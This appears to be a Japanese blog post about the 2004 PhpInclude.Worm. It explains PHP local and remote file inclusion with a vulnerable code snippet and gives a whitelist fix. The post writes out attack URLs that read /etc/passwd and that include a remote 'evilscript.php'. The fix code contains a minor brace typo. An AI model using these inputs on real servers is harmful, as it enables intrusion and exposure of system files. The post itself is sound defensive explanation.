PHPを攻撃対象とするワーム PhpInclude.Worm(Santy.e)

PHPを狙う新たなワームが出現,Webページのプログラム・ミスを突く

米SANS Instituteなどは12月26日,アプリケーション開発言語PHPのインタプリタ「PHP 4/5」を利用しているWebサーバーに感染するワーム「PhpInclude.Worm(Santy.e)」を警告した。PhpInclude.Wormは,Webページのプログラム・ミスを突いてサーバーに侵入するワームであり,PHPやphpBBのセキュリティ・ホールを突くものではない。このため,PHPを利用するすべてのWebサーバーが影響を受ける可能性がある。PHPを利用するWebサーバーの管理者は改めてチェックしたい。

参考 : http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041227/154332/
参考 : http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/


☆どーゆー脆弱性を突くかというと、、、(devshed.comの独自解釈です。)
PHP環境変数register_globalsがONの状態で、

1:if(isset($page))
2:{
3: include($page);
4:}

というコードがあった場合、

http://www.xxx.com/script.php?page=/etc/passwd
引数にこのようにパスワードファイルを指定されると、
5行目で無条件に引数pageで指定されたファイルをincludeしているので、
ブラウザにパスワードが表示されてしまう。

また同じように、

http://www.xxx.com/script.php?page=http://mysite.com/evilscript.php
とされていた場合、同じように無条件に
http://mysite.com/evilscript.phpをincludeして実行してしまうため、
悪意のあるコードが簡単に実行されてしまう。

☆こいつを防ぐには、、、
1:$pages = array('index.html', 'page2.html', 'page3.html');
2:if( in_array($page, $pages) )
3:{
4: include($page);
5:{
6:else
7:{
8: die("Nice Try.");
9:}

あらかじめ、決まったファイル名のみincludeするようにチェックを掛けるように
するしかない。
(2行目でチェックしている。)

誰か気づきそうで、誰も気づかなかった、すげー脆弱性です。

#追記
eval, requireを使ったコードも同様。

カテゴリ

トラックバック(0)

このブログ記事を参照しているブログ一覧: PHPを攻撃対象とするワーム PhpInclude.Worm(Santy.e)

このブログ記事に対するトラックバックURL: http://kashinya.com/blog/mt-tb.cgi/35

コメントする